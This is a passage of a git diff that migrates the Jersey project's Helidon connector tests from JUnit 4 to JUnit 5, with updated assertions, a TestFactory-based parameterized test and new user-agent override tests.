jakarta.ws.rs.POST; @@ -36,8 +36,8 @@ import java.util.concurrent.TimeUnit; import java.util.logging.Logger; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; /** * Asynchronous connector test. diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/BasicHelidonConnectorTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/BasicHelidonConnectorTest.java index 7fe036d7545..6634678ef55 100644 --- a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/BasicHelidonConnectorTest.java +++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/BasicHelidonConnectorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,10 +21,11 @@ import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Assert; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.glassfish.jersey.test.spi.TestHelper; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.DynamicContainer; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestFactory; import jakarta.ws.rs.Consumes; import jakarta.ws.rs.GET; @@ -45,7 +46,9 @@ import jakarta.ws.rs.core.Response; import java.io.IOException; import java.io.InputStream; +import java.util.ArrayList; import java.util.Arrays; +import java.util.Collection; import java.util.List; import java.util.Locale; import java.util.Map; @@ -55,21 +58,9 @@ import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; -@RunWith(Parameterized.class) -public class BasicHelidonConnectorTest extends JerseyTest { - - private final String entityType; - - public BasicHelidonConnectorTest(String entityType) { - this.entityType = entityType; - } - - @Parameterized.Parameters - public static Object[] data() { - return new Object[]{"BYTE_ARRAY_OUTPUT_STREAM", "READABLE_BYTE_CHANNEL", "OUTPUT_STREAM_PUBLISHER"}; - } +public class BasicHelidonConnectorTest { @Path("basic") public static class BasicResource { @@ -112,6 +103,10 @@ public String putConsumesProduces(String content) { } } + public static List data() { + return Arrays.asList("BYTE_ARRAY_OUTPUT_STREAM", "READABLE_BYTE_CHANNEL", "OUTPUT_STREAM_PUBLISHER"); + } + @Path("async") public static class AsyncResource { private static CountDownLatch shortLong = null; @@ -137,181 +132,200 @@ public String shortGet() { } } - @Override - protected Application configure() { - return new ResourceConfig(BasicResource.class, AsyncResource.class) - .property(LoggingFeature.LOGGING_FEATURE_LOGGER_LEVEL_SERVER, "WARNING"); + @TestFactory + public Collection generateTests() { + Collection tests = new ArrayList<>(); + data().forEach(entityType -> { + BasicHelidonConnectorTemplateTest test = new BasicHelidonConnectorTemplateTest(entityType) {}; + tests.add(TestHelper.toTestContainer(test, entityType)); + }); + return tests; } - @Override - protected void configureClient(ClientConfig config) { - super.configureClient(config); - config.connectorProvider(new HelidonConnectorProvider()); - config.property("jersey.config.helidon.client.entity.type", entityType); - } + public abstract static class BasicHelidonConnectorTemplateTest extends JerseyTest { + + private final String entityType; - @Test - public void testBasicGet() { - try (Response response = target("basic").path("get").request().get()) { - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("ok", response.readEntity(String.class)); + public BasicHelidonConnectorTemplateTest(String entityType) { + this.entityType = entityType; } - } - @Test - public void testBasicPost() { - try (Response response = target("basic").path("post").request() - .buildPost(Entity.entity("ok", MediaType.TEXT_PLAIN_TYPE)).invoke()) { - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("okok", response.readEntity(String.class)); + @Override + protected Application configure() { + return new ResourceConfig(BasicResource.class, AsyncResource.class) + .property(LoggingFeature.LOGGING_FEATURE_LOGGER_LEVEL_SERVER, "WARNING"); } - } - @Test - public void queryGetTest() { - try (Response response = target("basic").path("getquery") - .queryParam("first", "hello") - .queryParam("second", "world") - .request().get()) { - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("helloworld", response.readEntity(String.class)); + @Override + protected void configureClient(ClientConfig config) { + super.configureClient(config); + config.connectorProvider(new HelidonConnectorProvider()); + config.property("jersey.config.helidon.client.entity.type", entityType); } - } - @Test - public void testHeaders() { - String[][] headers = new String[][]{{"X-TEST-ONE", "ONE"}, {"X-TEST-TWO", "TWO"}, {"X-TEST-THREE", "THREE"}}; - MultivaluedHashMap map = new MultivaluedHashMap<>(); - Arrays.stream(headers).forEach(a -> map.add(a[0], a[1])); - try (Response response = target("basic").path("headers").request().headers(map).get()) { - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("ok", response.readEntity(String.class)); - for (int i = 0; i != headers.length; i++) { - Assert.assertTrue(response.getHeaders().containsKey(headers[i][0])); - Assert.assertEquals(headers[i][1], response.getStringHeaders().getFirst(headers[i][0])); + @Test + public void testBasicGet() { + try (Response response = target("basic").path("get").request().get()) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("ok", response.readEntity(String.class)); } } - } - @Test - public void testProduces() { - try (Response response = target("basic").path("produces/consumes").request("test/z-test") - .put(Entity.entity("ok", new MediaType("test", "x-test")))) { - Assert.assertEquals(406, response.getStatus()); + @Test + public void testBasicPost() { + try (Response response = target("basic").path("post").request() + .buildPost(Entity.entity("ok", MediaType.TEXT_PLAIN_TYPE)).invoke()) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("okok", response.readEntity(String.class)); + } } - try (Response response = target("basic").path("produces/consumes").request() - .put(Entity.entity("ok", new MediaType("test", "x-test")))) { - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("okok", response.readEntity(String.class)); - Assert.assertEquals("test/y-test", response.getStringHeaders().getFirst(HttpHeaders.CONTENT_TYPE)); + @Test + public void queryGetTest() { + try (Response response = target("basic").path("getquery") + .queryParam("first", "hello") + .queryParam("second", "world") + .request().get()) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("helloworld", response.readEntity(String.class)); + } } - } - @Test - public void testAsyncGet() throws ExecutionException, InterruptedException { - Future futureResponse = target("basic").path("get").request().async().get(); - try (Response response = futureResponse.get()) { - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("ok", response.readEntity(String.class)); + @Test + public void testHeaders() { + String[][] headers = new String[][]{{"X-TEST-ONE", "ONE"}, {"X-TEST-TWO", "TWO"}, {"X-TEST-THREE", "THREE"}}; + MultivaluedHashMap map = new MultivaluedHashMap<>(); + Arrays.stream(headers).forEach(a -> map.add(a[0], a[1])); + try (Response response = target("basic").path("headers").request().headers(map).get()) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("ok", response.readEntity(String.class)); + for (int i = 0; i != headers.length; i++) { + Assertions.assertTrue(response.getHeaders().containsKey(headers[i][0])); + Assertions.assertEquals(headers[i][1], response.getStringHeaders().getFirst(headers[i][0])); + } + } + } + + @Test + public void testProduces() { + try (Response response = target("basic").path("produces/consumes").request("test/z-test") + .put(Entity.entity("ok", new MediaType("test", "x-test")))) { + Assertions.assertEquals(406, response.getStatus()); + } + + try (Response response = target("basic").path("produces/consumes").request() + .put(Entity.entity("ok", new MediaType("test", "x-test")))) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("okok", response.readEntity(String.class)); + Assertions.assertEquals("test/y-test", response.getStringHeaders().getFirst(HttpHeaders.CONTENT_TYPE)); + } } - } - @Test - public void testConsumes() { - try (Response response = target("basic").path("produces/consumes").request("test/y-test") - .put(Entity.entity("ok", new MediaType("test", "z-test")))) { - Assert.assertEquals(415, response.getStatus()); + @Test + public void testAsyncGet() throws ExecutionException, InterruptedException { + Future futureResponse = target("basic").path("get").request().async().get(); + try (Response response = futureResponse.get()) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("ok", response.readEntity(String.class)); + } } - try (Response response = target("basic").path("produces/consumes").request("test/y-test") - .put(Entity.entity("ok", MediaType.WILDCARD_TYPE))) { - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("okok", response.readEntity(String.class)); - Assert.assertEquals("test/y-test", response.getStringHeaders().getFirst(HttpHeaders.CONTENT_TYPE)); + @Test + public void testConsumes() { + try (Response response = target("basic").path("produces/consumes").request("test/y-test") + .put(Entity.entity("ok", new MediaType("test", "z-test")))) { + Assertions.assertEquals(415, response.getStatus()); + } + + try (Response response = target("basic").path("produces/consumes").request("test/y-test") + .put(Entity.entity("ok", MediaType.WILDCARD_TYPE))) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("okok", response.readEntity(String.class)); + Assertions.assertEquals("test/y-test", response.getStringHeaders().getFirst(HttpHeaders.CONTENT_TYPE)); + } } - } - @Test - public void testRxGet() throws ExecutionException, InterruptedException { - CompletableFuture futureResponse = - target("basic").path("get").request().rx(JerseyCompletionStageRxInvoker.class).get(); + @Test + public void testRxGet() throws ExecutionException, InterruptedException { + CompletableFuture futureResponse = + target("basic").path("get").request().rx(JerseyCompletionStageRxInvoker.class).get(); - try (Response response = futureResponse.get()) { - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("ok", response.readEntity(String.class)); + try (Response response = futureResponse.get()) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("ok", response.readEntity(String.class)); + } } - } - @Test - public void testInputStreamEntity() throws IOException { - try (Response response = target("basic").path("get").request().get()) { - Assert.assertEquals(200, response.getStatus()); - InputStream is = response.readEntity(InputStream.class); - Assert.assertEquals('o', is.read()); - Assert.assertEquals('k', is.read()); - is.close(); + @Test + public void testInputStreamEntity() throws IOException { + try (Response response = target("basic").path("get").request().get()) { + Assertions.assertEquals(200, response.getStatus()); + InputStream is = response.readEntity(InputStream.class); + Assertions.assertEquals('o', is.read()); + Assertions.assertEquals('k', is.read()); + is.close(); + } } - } - // -----------Async + // -----------Async - @Test - public void testTwoClientsAsync() throws ExecutionException, InterruptedException { - try (Response resetResponse = target("async").path("reset").request().get()) { - Assert.assertEquals(204, resetResponse.getStatus()); - } + @Test + public void testTwoClientsAsync() throws ExecutionException, InterruptedException { + try (Response resetResponse = target("async").path("reset").request().get()) { + Assertions.assertEquals(204, resetResponse.getStatus()); + } - ClientConfig config = new ClientConfig(); - config.connectorProvider(new HelidonConnectorProvider()); + ClientConfig config = new ClientConfig(); + config.connectorProvider(new HelidonConnectorProvider()); - Client longClient = ClientBuilder.newClient(config); - Invocation.Builder longRequest = longClient.target(getBaseUri()).path("async/long").request(); + Client longClient = ClientBuilder.newClient(config); + Invocation.Builder longRequest = longClient.target(getBaseUri()).path("async/long").request(); - Client shortClient = ClientBuilder.newClient(config); - Invocation.Builder shortRequest = shortClient.target(getBaseUri()).path("async/short").request(); + Client shortClient = ClientBuilder.newClient(config); + Invocation.Builder shortRequest = shortClient.target(getBaseUri()).path("async/short").request(); - Future futureLongResponse = longRequest.async().get(); - Future futureShortResponse = shortRequest.async().get(); + Future futureLongResponse = longRequest.async().get(); + Future futureShortResponse = shortRequest.async().get(); - try (Response shortResponse = futureShortResponse.get()) { - Assert.assertEquals(200, shortResponse.getStatus()); - Assert.assertEquals("short", shortResponse.readEntity(String.class)); - } + try (Response shortResponse = futureShortResponse.get()) { + Assertions.assertEquals(200, shortResponse.getStatus()); + Assertions.assertEquals("short", shortResponse.readEntity(String.class)); + } - try (Response longResponse = futureLongResponse.get()) { - Assert.assertEquals(200, longResponse.getStatus()); - Assert.assertEquals("long", longResponse.readEntity(String.class)); + try (Response longResponse = futureLongResponse.get()) { + Assertions.assertEquals(200, longResponse.getStatus()); + Assertions.assertEquals("long", longResponse.readEntity(String.class)); + } } - } - @Test - public void testOneClientsTwoReqestsAsync() throws ExecutionException, InterruptedException { - try (Response resetResponse = target("async").path("reset").request().get()) { - Assert.assertEquals(204, resetResponse.getStatus()); - } + @Test + public void testOneClientsTwoReqestsAsync() throws ExecutionException, InterruptedException { + try (Response resetResponse = target("async").path("reset").request().get()) { + Assertions.assertEquals(204, resetResponse.getStatus()); + } - Invocation.Builder longRequest = target().path("async/long").request(); - Invocation.Builder shortRequest = target().path("async/short").request(); + Invocation.Builder longRequest = target().path("async/long").request(); + Invocation.Builder shortRequest = target().path("async/short").request(); - Future futureLongResponse = longRequest.async().get(); - Future futureShortResponse = shortRequest.async().get(); + Future futureLongResponse = longRequest.async().get(); + Future futureShortResponse = shortRequest.async().get(); - try (Response shortResponse = futureShortResponse.get()) { - Assert.assertEquals(200, shortResponse.getStatus()); - Assert.assertEquals("short", shortResponse.readEntity(String.class)); - } + try (Response shortResponse = futureShortResponse.get()) { + Assertions.assertEquals(200, shortResponse.getStatus()); + Assertions.assertEquals("short", shortResponse.readEntity(String.class)); + } - try (Response longResponse = futureLongResponse.get()) { - Assert.assertEquals(200, longResponse.getStatus()); - Assert.assertEquals("long", longResponse.readEntity(String.class)); + try (Response longResponse = futureLongResponse.get()) { + Assertions.assertEquals(200, longResponse.getStatus()); + Assertions.assertEquals("long", longResponse.readEntity(String.class)); + } } - } - @Test - public void testOptionsWithEntity() { - Response response = target("basic").path("get").request().build("OPTIONS", Entity.text("OPTIONS")).invoke(); - assertEquals(200, response.getStatus()); - response.close(); + @Test + public void testOptionsWithEntity() { + Response response = target("basic").path("get").request().build("OPTIONS", Entity.text("OPTIONS")).invoke(); + assertEquals(200, response.getStatus()); + response.close(); + } } } diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/FollowRedirectsTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/FollowRedirectsTest.java index e2449fe3d20..09ac4e14e27 100644 --- a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/FollowRedirectsTest.java +++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/FollowRedirectsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; @@ -36,7 +36,7 @@ import java.io.IOException; import java.util.logging.Logger; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Helidon connector follow redirect tests. diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/aspect4j/Aspect4jJerseyConfig.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/HelidonPropertiesTest.java similarity index 54% rename from ext/spring4/src/test/java/org/glassfish/jersey/server/spring/aspect4j/Aspect4jJerseyConfig.java rename to connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/HelidonPropertiesTest.java index 4506c7ecaf2..0011ca6b5fe 100644 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/aspect4j/Aspect4jJerseyConfig.java +++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/HelidonPropertiesTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,16 +14,19 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.server.spring.aspect4j; +package org.glassfish.jersey.helidon.connector; -import org.glassfish.jersey.server.ResourceConfig; -import org.glassfish.jersey.server.spring.scope.RequestContextFilter; +import io.helidon.jersey.connector.HelidonProperties; +import org.junit.jupiter.api.Test; -public class Aspect4jJerseyConfig extends ResourceConfig { +import static org.junit.jupiter.api.Assertions.assertEquals; - public Aspect4jJerseyConfig() { - register(RequestContextFilter.class); - register(NoComponentResource.class); - register(ComponentResource.class); +public class HelidonPropertiesTest { + + @Test + public void testHelidonStrings() { + String jerseyValue = HelidonClientProperties.CONFIG; + String helidonConfig = HelidonProperties.CONFIG; + assertEquals(jerseyValue, helidonConfig); } } diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/LargeDataTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/LargeDataTest.java index 8f3952925bd..86f1c69e11e 100644 --- a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/LargeDataTest.java +++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/LargeDataTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,8 +20,8 @@ import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Assert; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.POST; import jakarta.ws.rs.Path; @@ -106,9 +106,8 @@ public void postWithLargeData() throws Throwable { throw exception; } - Assert.assertEquals("Unexpected error: " + response.getStatus(), - Status.Family.SUCCESSFUL, - response.getStatusInfo().getFamily()); + Assertions.assertEquals(Status.Family.SUCCESSFUL, response.getStatusInfo().getFamily(), + "Unexpected error: " + response.getStatus()); } finally { response.close(); } diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/MetaInfOverrideTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/MetaInfOverrideTest.java new file mode 100644 index 00000000000..0483bdd4e06 --- /dev/null +++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/MetaInfOverrideTest.java @@ -0,0 +1,99 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.helidon.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.HttpUrlConnectorProvider; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.io.IOException; + +// The Helidon jar has META-INF set +// Test of override +class MetaInfOverrideTest extends JerseyTest { + + @Path("/origin") + public static class UserAgentServer { + @GET + public String get(@Context HttpHeaders headers) { + return headers.getHeaderString(HttpHeaders.USER_AGENT); + } + } + + @Override + protected Application configure() { + return new ResourceConfig(UserAgentServer.class); + } + + @Test + void defaultMetaInfTest() { + try (Response r = target("origin").request().get()) { + Assertions.assertEquals(200, r.getStatus()); + Assertions.assertTrue(r.readEntity(String.class).contains("Helidon")); + } + } + + @Test + void overrideMetaInfTest() { + ClientConfig config = new ClientConfig(); + config.connectorProvider(new HttpUrlConnectorProvider()); + try (Response r = ClientBuilder.newClient(config).target(target("origin").getUri()).request().get()) { + Assertions.assertEquals(200, r.getStatus()); + r.bufferEntity(); + System.out.println(r.readEntity(String.class)); + Assertions.assertTrue(r.readEntity(String.class).contains("HttpUrlConnection")); + } + } + + @Test + void overrideMetaInfByOtherConfigPropertyTest() { + ClientConfig config = new ClientConfig(); + config.property(ClientProperties.CONNECTOR_PROVIDER, "org.glassfish.jersey.client.HttpUrlConnectorProvider"); + try (Response r = ClientBuilder.newClient(config).target(target("origin").getUri()).request().get()) { + Assertions.assertEquals(200, r.getStatus()); + r.bufferEntity(); + System.out.println(r.readEntity(String.class)); + Assertions.assertTrue(r.readEntity(String.class).contains("HttpUrlConnection")); + } + } + + @Test + void overrideMetaInfByThePropertyTest() { + try (Response r = ClientBuilder.newBuilder() + .property(ClientProperties.CONNECTOR_PROVIDER, "org.glassfish.jersey.client.HttpUrlConnectorProvider") + .build() + .target(target("origin").getUri()).request().get()) { + Assertions.assertEquals(200, r.getStatus()); + r.bufferEntity(); + System.out.println(r.readEntity(String.class)); + Assertions.assertTrue(r.readEntity(String.class).contains("HttpUrlConnection")); + } + } +} diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/ParallelTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/ParallelTest.java index 742e7e1ef79..67d8682a4d0 100644 --- a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/ParallelTest.java +++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/ParallelTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,8 +19,8 @@ import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Assert; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; @@ -38,8 +38,8 @@ import java.util.logging.Level; import java.util.logging.Logger; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Tests the parallel execution of multiple requests. @@ -119,15 +119,15 @@ public void run() { startBarrier.await(1, TimeUnit.SECONDS); - assertTrue("Waiting for clients to finish has timed out.", doneLatch.await(5 * getAsyncTimeoutMultiplier(), - TimeUnit.SECONDS)); + assertTrue(doneLatch.await(5 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS), + "Waiting for clients to finish has timed out."); - assertEquals("Resource counter", PARALLEL_CLIENTS, resourceCounter.get()); + assertEquals(PARALLEL_CLIENTS, resourceCounter.get(), "Resource counter"); - assertEquals("Received counter", PARALLEL_CLIENTS, receivedCounter.get()); + assertEquals(PARALLEL_CLIENTS, receivedCounter.get(), "Received counter"); } finally { executor.shutdownNow(); - Assert.assertTrue("Executor termination", executor.awaitTermination(5, TimeUnit.SECONDS)); + Assertions.assertTrue(executor.awaitTermination(5, TimeUnit.SECONDS), "Executor termination"); } } } diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/TimeoutTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/TimeoutTest.java index 67d72dc1e15..ff3235acc47 100644 --- a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/TimeoutTest.java +++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/TimeoutTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,8 +20,8 @@ import org.glassfish.jersey.client.ClientProperties; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Ignore; -import org.junit.Test; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; @@ -29,8 +29,8 @@ import jakarta.ws.rs.core.Application; import jakarta.ws.rs.core.Response; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.fail; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.fail; /** * @author Martin Matula @@ -82,7 +82,7 @@ public void testSlow() { } } - @Ignore + @Disabled // TODO - WebClient change request public void testTimeoutInRequest() { try { diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/EventOutputTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/EventOutputTest.java index de8edd22097..1ad2e152391 100644 --- a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/EventOutputTest.java +++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/EventOutputTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -28,8 +28,8 @@ import org.glassfish.jersey.media.sse.SseFeature; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Ignore; -import org.junit.Test; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; @@ -48,10 +48,10 @@ import java.util.concurrent.atomic.AtomicReference; import static org.hamcrest.Matchers.containsString; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; /** * Event output tests. @@ -179,12 +179,12 @@ public void onEvent(InboundEvent inboundEvent) { closeTimedOut = es.close(5, TimeUnit.SECONDS); } - assertEquals("Unexpected event count", 2, eventComments.size()); + assertEquals(2, eventComments.size(), "Unexpected event count"); for (int i = 1; i <= 2; i++) { - assertEquals("Unexpected comment data on event #" + i, "No comment #" + i, eventComments.poll()); + assertEquals("No comment #" + i, eventComments.poll(), "Unexpected comment data on event #" + i); } - assertTrue("Event latch has timed out", latchTimedOut); - assertTrue("EventSource.close() has timed out", closeTimedOut); + assertTrue(latchTimedOut, "Event latch has timed out"); + assertTrue(closeTimedOut, "EventSource.close() has timed out"); } @Test @@ -265,8 +265,8 @@ public void onEvent(InboundEvent inboundEvent) { } // 2.0.0.-M3 assertEquals("Unexpected event count", 1, counter.get()); - assertEquals("Unexpected event data", "single", eventData.get()); - assertTrue("Event latch has timed out", latchTimedOut); - assertTrue("EventSource.close() has timed out", closeTimedOut); + assertEquals("single", eventData.get(), "Unexpected event data"); + assertTrue(latchTimedOut, "Event latch has timed out"); + assertTrue(closeTimedOut, "EventSource.close() has timed out"); } } diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java index 6608c1031f1..ca1a5c6db99 100644 --- a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java +++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,9 +20,8 @@ import org.glassfish.jersey.helidon.connector.HelidonConnectorProvider; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Assert; -import org.junit.Ignore; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; import jakarta.annotation.PostConstruct; import jakarta.inject.Singleton; @@ -107,7 +106,6 @@ protected void configureClient(ClientConfig config) { } @Test - @Ignore //TODO - remove after jakartification public void testSend() throws InterruptedException { final StringBuilder sb = new StringBuilder(); final CountDownLatch latch = new CountDownLatch(10); @@ -121,8 +119,8 @@ public void testSend() throws InterruptedException { latch.await(WAIT_TIME, TimeUnit.MILLISECONDS); } - Assert.assertEquals("AAAAAAAAAA", sb.toString()); - Assert.assertEquals(0, latch.getCount()); + Assertions.assertEquals("AAAAAAAAAA", sb.toString()); + Assertions.assertEquals(0, latch.getCount()); } @Test @@ -139,11 +137,11 @@ public void testBroadcast() throws InterruptedException { clientOne.messageLatch.await(WAIT_TIME, TimeUnit.MILLISECONDS); clientTwo.messageLatch.await(WAIT_TIME, TimeUnit.MILLISECONDS); - Assert.assertEquals(0, clientOne.messageLatch.getCount()); - Assert.assertEquals(0, clientTwo.messageLatch.getCount()); + Assertions.assertEquals(0, clientOne.messageLatch.getCount()); + Assertions.assertEquals(0, clientTwo.messageLatch.getCount()); - Assert.assertEquals(BroadcasterResource.WELCOME + PALINDROME + PALINDROME, clientOne.message.toString()); - 